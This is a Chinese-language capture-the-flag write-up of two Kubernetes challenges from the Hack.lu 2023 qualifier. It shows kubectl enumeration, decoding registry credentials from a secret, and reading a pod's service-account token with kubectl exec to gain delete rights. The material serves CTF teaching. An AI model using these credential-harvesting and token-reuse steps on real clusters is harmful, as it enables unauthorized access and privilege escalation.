Hack.lu-Qualifier-2023 k8s Writeup
Hack.lu-Qualifier-2023 有两个 k8s CTF 题目。
Challenge1: Bat Kube
'Bat Kube' 相对简单, 用来给选手熟悉环境。
1. challenge
Unlucky, the flag is in Kubernetes and im not joking :/
nc k8s.0xf.eu 8888
Helpfull links:
-
How to use Kubeconfig(https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/) -
How to use Kubectl(https://kubernetes.io/docs/reference/kubectl/) -
MAYBE useful(https://kubernetes.io/docs/reference/access-authn-authz/authorization/)
2. 分析
nc k8s.0xf.eu 8888
会返回 kubeconfig
。使用其可访问 k8s 服务器,要求获取其中的flag。
$ nc k8s.0xf.eu 8888
Creating Cluster
Waiting for control plane............................................
Here is your Kubeconfig:
apiVersion: v1
clusters:
- cluster:
server: https://flux-cluster-[...].0xf.eu
name: ctf-cluster
contexts:
- context:
cluster: ctf-cluster
user: ctf-player
name: ctf-cluster
[...]
users:
- name: ctf-player
user:
token: ey[...]
Leave this open until you solved the challenge, otherwise your cluster will be deleted. Please save it to a file and use it with kubectl --kubeconfig or use the KUBECONFIG env.
3. writeup
3.1 secret
$ kubectl get secrets
NAME TYPE DATA AGE
kube-baby-flag-part1-of-3 Opaque 2 19m
$ kubectl get secret kube-baby-flag-part1-of-3 -o json
{
"apiVersion": "v1",
"data": {
"flag": "ZmxhZ3trOHNfMXNf",
"hint": "RG8geW91IGtub3cgbmFtZXNwYWNlcz8="
},
"kind": "Secret",
"metadata": {
"creationTimestamp": "2023-10-15T18:01:39Z",
"name": "kube-baby-flag-part1-of-3",
"namespace": "default",
"resourceVersion": "343",
"uid": "189b12ef-ccf0-4129-a514-0bcf0af6bf5b"
},
"type": "Opaque"
}
$ echo "ZmxhZ3trOHNfMXNf" | base64 -d
flag{k8s_1s_
$ echo "RG8geW91IGtub3cgbmFtZXNwYWNlcz8=" | base64 -d
Do you know namespaces?
3.2 namespace
secret-namespace 下有 pod
$ kubectl get namespaces
NAME STATUS AGE
default Active 17m
kube-node-lease Active 17m
kube-public Active 17m
kube-system Active 17m
secret-namespace Active 17m
$ kubectl get -n secret-namespace pods
NAME READY STATUS RESTARTS AGE
kube-baby-flag-part2-of-3-6b97f47974-l4m4c 1/1 Running 0 6m31s
kube-baby-flag-part2-of-3-6b97f47974-lwjhr 1/1 Running 0 6m31s
pod 的 command while true; do printenv FLAG FLAG_HINT; sleep 300; done
打印了 FLAG
$ kubectl -n secret-namespace describe pod kube-baby-flag-part2-of-3-6b97f47974-l4m4c
Name: kube-baby-flag-part2-of-3-6b97f47974-l4m4c
Namespace: secret-namespace
Priority: 0
Service Account: default
Node: flux-cluster-70242a9687044f909bd0571cc5f96729-md-0-nm45q-glz8zw/172.18.0.16
Start Time: Mon, 16 Oct 2023 02:01:57 +0800
Labels: app=kube-baby
pod-template-hash=6b97f47974
Annotations: cni.projectcalico.org/containerID: 31b8bbb91caf8ca6b3f84ccf981a4b2b99c06631b065ba72570d4ae6ada70230
cni.projectcalico.org/podIP: 192.168.57.1/32
cni.projectcalico.org/podIPs: 192.168.57.1/32
Status: Running
IP: 192.168.57.1
IPs:
IP: 192.168.57.1
Controlled By: ReplicaSet/kube-baby-flag-part2-of-3-6b97f47974
Containers:
container:
Container ID: containerd://800270fabc75babb831388a8c7a635c6eeb089f8624c60dce768430900187018
Image: nginx
Image ID: docker.io/library/nginx@sha256:b4af4f8b6470febf45dc10f564551af682a802eda1743055a7dfc8332dffa595
Port: <none>
Host Port: <none>
Command:
/bin/sh
Args:
-c
while true; do printenv FLAG FLAG_HINT; sleep 300; done
State: Running
Started: Mon, 16 Oct 2023 02:02:15 +0800
Ready: True
Restart Count: 0
Environment:
INSECURE_FLAG: Its a baby challenge, but this would be too easy... :D
FLAG: <set to the key 'flag' in secret 'kube-baby-flag-part2-of-3-user-should-not-see-this'> Optional: false
FLAG_HINT: <set to the key 'hint' in secret 'kube-baby-flag-part2-of-3-user-should-not-see-this'> Optional: false
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-rv6pl (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
kube-api-access-rv6pl:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>
查看该 pod 的日志可以获得 2/3 的flag
$ kubectl -n secret-namespace logs kube-baby-flag-part2-of-3-6b97f47974-l4m4c
r34lly_fun_but
What about Flags in the Kubernetes API?
r34lly_fun_but
What about Flags in the Kubernetes API?
r34lly_fun_but
What about Flags in the Kubernetes API?
r34lly_fun_but
What about Flags in the Kubernetes API?
3.3 Kubernetes API
$ kubectl api-resources
...
flags ctf.fluxfingers.hack.lu/v1 true Flag
...
$ kubectl -n secret-namespace get flags
NAME HINT
kube-baby-flag-part3-of-3 You are on the right track, look more in detail!
$ kubectl -n secret-namespace describe flags kube-baby-flag-part3-of-3
Name: kube-baby-flag-part3-of-3
Namespace: secret-namespace
Labels: <none>
Annotations: <none>
API Version: ctf.fluxfingers.hack.lu/v1
Kind: Flag
Metadata:
Creation Timestamp: 2023-10-15T18:01:41Z
Generation: 1
Resource Version: 361
UID: a3c60559-8b5d-4e63-a482-b7b55afb9edc
Spec:
Flag: XzF0c18zdjNuX2IzdHQzcl8xbl9DVEZTfQ==
Hint: You are on the right track, look more in detail!
Events: <none>
$ echo XzF0c18zdjNuX2IzdHQzcl8xbl9DVEZTfQ== | base64 -d
_1ts_3v3n_b3tt3r_1n_CTFS}
flag{k8s_1s_r34lly_fun_but_1ts_3v3n_b3tt3r_1n_CTFS}
Challenge2:Bat As Kube
1. challenge
Unlucky, the flag is still in Kubernetes and im not joking :/
nc k8s.challenge.k8s-ctf.de 8888
If you are new to Kubernetes I recommend having a look at Bat Kube first.
2. 分析
nc k8s.0xf.eu 8888
会返回 kubeconfig
。使用其可访问 k8s 服务器,要求获取其中的flag。
选手拥有一些值得注意的权限:
-
flagrequests.*
的查看、创建、删除权限 -
flags.*
的查看、删除权限 -
flagprotectors.*
的查看权限 -
secret
docker-hub-login
的查看权限
$ kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
flagrequests.* [] [] [get list watch create delete]
flags.* [] [] [get list watch delete]
customresourcedefinitions.* [] [] [get list watch]
flagprotectors.* [] [] [get list watch]
secrets.* [] [docker-hub-login] [get list watch]
bindings [] [] [get list watch]
configmaps [] [] [get list watch]
endpoints [] [] [get list watch]
events [] [] [get list watch]
limitranges [] [] [get list watch]
namespaces/status [] [] [get list watch]
namespaces [] [] [get list watch]
persistentvolumeclaims/status [] [] [get list watch]
persistentvolumeclaims [] [] [get list watch]
pods/log [] [] [get list watch]
pods/status [] [] [get list watch]
pods [] [] [get list watch]
replicationcontrollers/scale [] [] [get list watch]
replicationcontrollers/status [] [] [get list watch]
replicationcontrollers [] [] [get list watch]
resourcequotas/status [] [] [get list watch]
resourcequotas [] [] [get list watch]
serviceaccounts [] [] [get list watch]
services/status [] [] [get list watch]
services [] [] [get list watch]
controllerrevisions.apps [] [] [get list watch]
daemonsets.apps/status [] [] [get list watch]
daemonsets.apps [] [] [get list watch]
deployments.apps/scale [] [] [get list watch]
deployments.apps/status [] [] [get list watch]
deployments.apps [] [] [get list watch]
replicasets.apps/scale [] [] [get list watch]
replicasets.apps/status [] [] [get list watch]
replicasets.apps [] [] [get list watch]
statefulsets.apps/scale [] [] [get list watch]
statefulsets.apps/status [] [] [get list watch]
statefulsets.apps [] [] [get list watch]
horizontalpodautoscalers.autoscaling/status [] [] [get list watch]
horizontalpodautoscalers.autoscaling [] [] [get list watch]
cronjobs.batch/status [] [] [get list watch]
cronjobs.batch [] [] [get list watch]
jobs.batch/status [] [] [get list watch]
jobs.batch [] [] [get list watch]
endpointslices.discovery.k8s.io [] [] [get list watch]
daemonsets.extensions/status [] [] [get list watch]
daemonsets.extensions [] [] [get list watch]
deployments.extensions/scale [] [] [get list watch]
deployments.extensions/status [] [] [get list watch]
deployments.extensions [] [] [get list watch]
ingresses.extensions/status [] [] [get list watch]
ingresses.extensions [] [] [get list watch]
networkpolicies.extensions [] [] [get list watch]
replicasets.extensions/scale [] [] [get list watch]
replicasets.extensions/status [] [] [get list watch]
replicasets.extensions [] [] [get list watch]
replicationcontrollers.extensions/scale [] [] [get list watch]
ingresses.networking.k8s.io/status [] [] [get list watch]
ingresses.networking.k8s.io [] [] [get list watch]
networkpolicies.networking.k8s.io [] [] [get list watch]
poddisruptionbudgets.policy/status [] [] [get list watch]
poddisruptionbudgets.policy [] [] [get list watch]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
3. writeup
3.1 secret
secrets 中有个很显眼的 docker-hub-login
, 包含了镜像仓库的登录凭据。
$ kubectl get secrets docker-hub-login -o json
{
"apiVersion": "v1",
"data": {
".dockerconfigjson": "ewogICAgImF1dGhzIjogewogICAgICAgICJnaXQuazhzLWN0Zi5kZToxMzM3IjogewogICAgICAgICAgICAiYXV0aCI6ICJZM1JtTFhCc1lYbGxjanBtTVY5NlduTktkVk4zTTNZMmVUZEdXSEJ1Y0E9PSIKICAgICAgICB9CiAgICB9Cn0K"
},
"kind": "Secret",
"metadata": {
"creationTimestamp": "2023-10-15T20:26:25Z",
"name": "docker-hub-login",
"namespace": "default",
"resourceVersion": "239",
"uid": "51c46da0-2cfe-4fc8-a9ea-61e8140eda4b"
},
"type": "kubernetes.io/dockerconfigjson"
}
$ echo ewogICAgImF1dGhzIjogewogICAgICAgICJnaXQuazhzLWN0Zi5kZToxMzM3IjogewogICAgICAgICAgICAiYXV0aCI6ICJZM1JtTFhCc1lYbGxjanBtTVY5NlduTktkVk4zTTNZMmVUZEdXSEJ1Y0E9PSIKICAgICAgICB9CiAgICB9Cn0K | base64 -d
{
"auths": {
"git.k8s-ctf.de:1337": {
"auth": "Y3RmLXBsYXllcjpmMV96WnNKdVN3M3Y2eTdGWHBucA=="
}
}
}
$ echo Y3RmLXBsYXllcjpmMV96WnNKdVN3M3Y2eTdGWHBucA== | base64 -d
ctf-player:f1_zZsJuSw3v6y7FXpnp
$ docker login git.k8s-ctf.de:1337
Username: ctf-player
Password: f1_zZsJuSw3v6y7FXpnp
3.2 pod, image
有了镜像仓库密码,我就可以查看镜像内容。
$ kubectl get pods -A
NAMESPACE NAME READY STATUS RESTARTS AGE
default flag-operator-57547585c6-f6689 1/1 Running 0 3m34s
flagprotector flagprotector-controller-5699c96f4-8fj5j 1/1 Running 0 3m34s
kube-system calico-kube-controllers-7ddc4f45bc-tr6q8 1/1 Running 0 3m34s
kube-system calico-node-27lj6 1/1 Running 0 3m34s
kube-system calico-node-8qjqn 1/1 Running 0 3m29s
kube-system coredns-5dd5756b68-7jk4b 1/1 Running 0 3m34s
kube-system coredns-5dd5756b68-c8q5j 1/1 Running 0 3m34s
kube-system etcd-flux-cluster-05569a706faf433b8bbf7c1d1e3e4dd4-rxhcl-vw66s 1/1 Running 0 3m42s
kube-system kube-apiserver-flux-cluster-05569a706faf433b8bbf7c1d1e3e4dd4-rxhcl-vw66s 1/1 Running 0 3m42s
kube-system kube-controller-manager-flux-cluster-05569a706faf433b8bbf7c1d1e3e4dd4-rxhcl-vw66s 1/1 Running 0 3m42s
kube-system kube-proxy-5bx28 1/1 Running 0 3m34s
kube-system kube-proxy-s4vdl 1/1 Running 0 3m29s
kube-system kube-scheduler-flux-cluster-05569a706faf433b8bbf7c1d1e3e4dd4-rxhcl-vw66s 1/1 Running 0 3m42s
查看 flag-operator pod
$ kubectl describe pod flag-operator-57547585c6-f6689
...
Image: git.k8s-ctf.de:1337/root/hacklu:latest
...
镜像中有文件 flag-operator.py
, 实现了 flag-protector 逻辑。
-
flagprotector 会阻止 flagrequest, 选手需要先删除 flagprotector -
flag-operator 容器会监控 flagrequest 资源 -
按照特定格式创建 flagrequest, flag-operator 容器会创建 flag 资源
$ docker pull git.k8s-ctf.de:1337/root/hacklu:latest
$ docker run -ti --entrypoint sh git.k8s-ctf.de:1337/root/hacklu:latest
# ls
flag-operator.py
# cat flag-operator.py
from kubernetes import client, config, watch
import os
import uuid
import json
def read_flag():
flag = os.getenv("FLAG")
return str(flag)
def check_flagrequest(obj, crds, group, version, flagprotector_plural):
fp = crds.list_namespaced_custom_object(group, version, "flagprotector", flagprotector_plural)
if len(fp["items"]) > 0:
return False, "A Flagprotector is deployed somewhere in the cluster, you need to delete it first!"
fr = json.loads(json.dumps(obj))
if "metadata" not in fr.keys():
return False, "Flagrequest: Missing metadata"
if "labels" not in fr["metadata"].keys():
return False, "Flagrequest: Missing labels"
if "hack.lu/challenge-name" not in fr["metadata"]["labels"].keys():
return False, "Flagrequest: Missing label hack.lu/challenge-name"
if "give-flag" != fr["metadata"]["name"]:
return False, "Flagrequest: I dont like the request name, it should be 'give-flag'"
if "spec" not in fr.keys():
return False, "Flagrequest: Missing spec"
if "anti-bruteforce" not in fr["spec"].keys():
return False, "Flagrequest: 'anti-bruteforce' is missing in the spec"
if "Bi$wmX4PBTQLGe%AIKPO19$ussap4w" != fr["spec"]["anti-bruteforce"]:
return False, "Flagrequest: Anti-bruteforce token invalid! You dont need to bruteforce! Im hiding something in the cluster, that will help you :D"
return True, "Good Job!"
def main():
# Define CRDs
version = "v1"
group = "ctf.fluxfingers.hack.lu"
flagrequest_plural = "flagrequests"
flagprotector_plural = "flagprotectors"
flag_kind = "Flag"
flag_plural = "flags"
# Load CRDs
crds = client.CustomObjectsApi()
while True:
print("Watching for flagrequests...")
stream = watch.Watch().stream(crds.list_namespaced_custom_object, group, version, "default", flagrequest_plural)
for event in stream:
t = event["type"]
flagrequest = event["object"]
# Check if flagrequest was added
if t == "ADDED":
# Check if flagrequest is valid
accepted, error = check_flagrequest(flagrequest, crds, group, version, flagprotector_plural)
id = uuid.uuid4()
if accepted:
print("Flagrequest accepted, creating flag...")
# Create flag
crds.create_namespaced_custom_object(group, version, "default", flag_plural, {
"apiVersion": group + "/" + version,
"kind": flag_kind,
"metadata": {
"name": "flag" + str(id)
},
"spec": {
"flag": read_flag(),
"error": str(error),
}
})
else:
print("Flagrequest invalid")
# Create flag error
crds.create_namespaced_custom_object(group, version, "default", flag_plural, {
"apiVersion": group + "/" + version,
"kind": flag_kind,
"metadata": {
"name": "flag" + str(id)
},
"spec": {
"error": str(error),
}
})
if __name__ == "__main__":
print("Starting operator...")
try:
config.incluster_config.load_incluster_config()
except:
print("Failed to load incluster config")
exit(1)
main()
#
3.3 删除 flag-protector
题目提供的kubeconfig 没有删除 flag-protector 的权限。
flag-protector 容器的token可能有。
$ token=$(kubectl -n flagprotector exec -ti flagprotector-controller-5699c96f4-8fj5j -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
$ kubectl get namespaces
NAME STATUS AGE
default Active 8m18s
flagprotector Active 8m12s
kube-node-lease Active 8m18s
kube-public Active 8m18s
kube-system Active 8m18s
$ kubectl --token $token auth can-i --list -n flagprotector
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
flagprotectors.* [] [] [get list watch delete]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
$ kubectl -n flagprotector get flagprotectors
NAME MESSAGE
flag-protection As long as I live, no one can create a flag!
$ kubectl --token $token -n flagprotector delete flagprotectors flag-protection
flagprotector.ctf.fluxfingers.hack.lu "flag-protection" deleted
3.4 flagrequest
cat > Flagrequest.yaml << EOF
apiVersion: ctf.fluxfingers.hack.lu/v1
kind: Flagrequest
metadata:
name: give-flag
namespace: default
labels:
hack.lu/challenge-name: give-flag
spec:
anti-bruteforce: "Bi$wmX4PBTQLGe%AIKPO19$ussap4w"
EOF
$ kubectl apply -f Flagrequest.yaml
flagrequest.ctf.fluxfingers.hack.lu/give-flag created
$ kubectl get flags
NAME FLAG ERROR
flagc6c597be-a184-4e05-973e-2171b8c0ab20 flag{us1ng_0p3r4t0rs_c4n_b3_3v3n_m0r3_funny} Good Job!
flagdb358fd7-5eef-43b9-a2fb-4a1c88b613d3
本文发布已获得"云原生安全资讯"项目授权, 同步发布于以下平台
-
github: https://github.com/cloud-native-security-news/cloud-native-security-news -
公众号: 石头的安全料理屋
欢迎加入 "云原生安全资讯"项目 👏 阅读、学习和总结云原生安全相关资讯
原文始发于微信公众号(石头的安全料理屋):云原生安全资讯 | Hack.lu 2023 k8s Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论